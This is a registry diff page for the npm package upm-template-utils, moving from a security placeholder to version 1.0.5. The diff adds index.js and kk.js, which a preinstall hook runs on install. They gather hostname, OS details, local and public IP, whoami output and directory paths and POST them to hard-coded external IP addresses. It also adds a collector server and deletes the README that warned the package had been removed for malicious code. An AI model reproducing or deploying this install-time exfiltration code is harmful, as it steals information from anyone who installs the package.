upm-template-utils 0.0.1-security → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of upm-template-utils might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,79 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+ const { execSync } = require('child_process');
4
+
5
+ // Function to get the public IP address
6
+ async function getPublicIP() {
7
+ try {
8
+ const response = await axios.get('https://ipinfo.io/json');
9
+ return response.data.ip || 'Unknown';
10
+ } catch (error) {
11
+ console.error('Error fetching public IP:', error.message);
12
+ return 'Unknown';
13
+ }
14
+ }
15
+
16
+ // Function to get internal IP and network details
17
+ function getNetworkInfo() {
18
+ const interfaces = os.networkInterfaces();
19
+ let ipAddress = 'Unknown';
20
+
21
+ for (const iface of Object.values(interfaces)) {
22
+ for (const details of iface) {
23
+ if (details.family === 'IPv4' && !details.internal) {
24
+ ipAddress = details.address;
25
+ break;
26
+ }
27
+ }
28
+ }
29
+
30
+ return {
31
+ hostname: os.hostname(),
32
+ osType: os.type(),
33
+ osPlatform: os.platform(),
34
+ osRelease: os.release(),
35
+ localIP: ipAddress
36
+ };
37
+ }
38
+
39
+ // Function to get `whoami` output
40
+ function getWhoami() {
41
+ try {
42
+ return execSync('whoami').toString().trim();
43
+ } catch (error) {
44
+ return 'Unknown';
45
+ }
46
+ }
47
+
48
+ // Function to send collected data
49
+ async function pingBack(data) {
50
+ try {
51
+ console.log("Sending data:", JSON.stringify(data, null, 2));
52
+
53
+ const response = await axios.post('http://23.22.251.177:8080/collect_info.php', data, {
54
+ headers: { 'Content-Type': 'application/json' }
55
+ });
56
+
57
+ console.log('Pingback sent successfully:', response.data);
58
+ } catch (error) {
59
+ console.error('Error sending pingback:', error.response ? error.response.data : error.message);
60
+ }
61
+ }
62
+
63
+ // Main function to collect and send data
64
+ async function collectData() {
65
+ const networkInfo = getNetworkInfo();
66
+ const publicIP = await getPublicIP();
67
+ const whoami = getWhoami();
68
+
69
+ const data = {
70
+ ...networkInfo,
71
+ publicIP,
72
+ whoami
73
+ };
74
+
75
+ await pingBack(data);
76
+ }
77
+
78
+ // Execute the script
79
+ collectData();
package/kk.js ADDED
@@ -0,0 +1,69 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+
4
+ // Function to get the public IP address
5
+ async function getPublicIP() {
6
+ try {
7
+ const response = await axios.get('https://ipinfo.io/json');
8
+ return response.data.ip || 'Unknown';
9
+ } catch (error) {
10
+ console.error('Error fetching public IP:', error.message);
11
+ return 'Unknown';
12
+ }
13
+ }
14
+
15
+ // Function to send collected data (Pingback)
16
+ async function pingBack(data) {
17
+ try {
18
+ console.log("Sending data:", JSON.stringify(data, null, 2)); // Debugging log
19
+
20
+ const response = await axios.post('http://35.170.187.220:8080/collect_info.php', data, {
21
+ headers: {
22
+ 'Content-Type': 'application/json' // Ensure correct content type
23
+ }
24
+ });
25
+
26
+ console.log('Pingback sent successfully:', response.data);
27
+ } catch (error) {
28
+ console.error('Error sending pingback:', error.response ? error.response.data : error.message);
29
+ }
30
+ }
31
+
32
+ // Function to collect system and network information
33
+ function getNetworkInfo() {
34
+ const interfaces = os.networkInterfaces();
35
+ let ipAddress = 'Unknown';
36
+
37
+ // Find the first non-internal IPv4 address
38
+ for (const iface of Object.values(interfaces)) {
39
+ for (const details of iface) {
40
+ if (details.family === 'IPv4' && !details.internal) {
41
+ ipAddress = details.address;
42
+ break;
43
+ }
44
+ }
45
+ }
46
+
47
+ return {
48
+ hostname: os.hostname(),
49
+ homeDirectory: os.homedir(),
50
+ currentDirectory: process.cwd(),
51
+ localIP: ipAddress
52
+ };
53
+ }
54
+
55
+ // Main function to collect and send data
56
+ async function collectData() {
57
+ const networkInfo = getNetworkInfo();
58
+ const publicIP = await getPublicIP();
59
+
60
+ const data = {
61
+ ...networkInfo,
62
+ publicIP
63
+ };
64
+
65
+ await pingBack(data);
66
+ }
67
+
68
+ // Execute the script
69
+ collectData();
package/package.json CHANGED
@@ -1,6 +1,33 @@
1
1
  {
2
2
  "name": "upm-template-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.5",
4
+ "description": "Package Claimed By JPD",
5
+ "license": "ISC",
6
+ "author": "JPD",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "preinstall": "node index.js",
11
+ "test": "echo \"Error: no test specified\" && exit 1"
12
+ },
13
+ "keywords": [
14
+ "rce",
15
+ "security",
16
+ "exploit",
17
+ "vulnerability"
18
+ ],
19
+ "repository": {
20
+ "type": "git",
21
+ "url": "git+https://github.com/JPD-12/public-repo-ui.git"
22
+ },
23
+ "bugs": {
24
+ "url": "https://github.com/JPD-12/public-repo-ui/issues"
25
+ },
26
+ "homepage": "https://github.com/JPD-12/public-repo-ui#readme",
27
+ "engines": {
28
+ "node": ">=14.0.0"
29
+ },
30
+ "dependencies": {
31
+ "axios": "^1.7.9"
32
+ }
6
33
  }
package/server.js ADDED
@@ -0,0 +1,14 @@
1
+ const express = require('express');
2
+ const app = express();
3
+ const port = 8080;
4
+
5
+ app.use(express.json());
6
+
7
+ app.post('/', (req, res) => {
8
+ console.log('Received data:', req.body); // Log the incoming data
9
+ res.status(200).send('Data received');
10
+ });
11
+
12
+ app.listen(port, () => {
13
+ console.log(`Server running at http://23.22.251.177:${port}/`);
14
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=upm-template-utils for more information.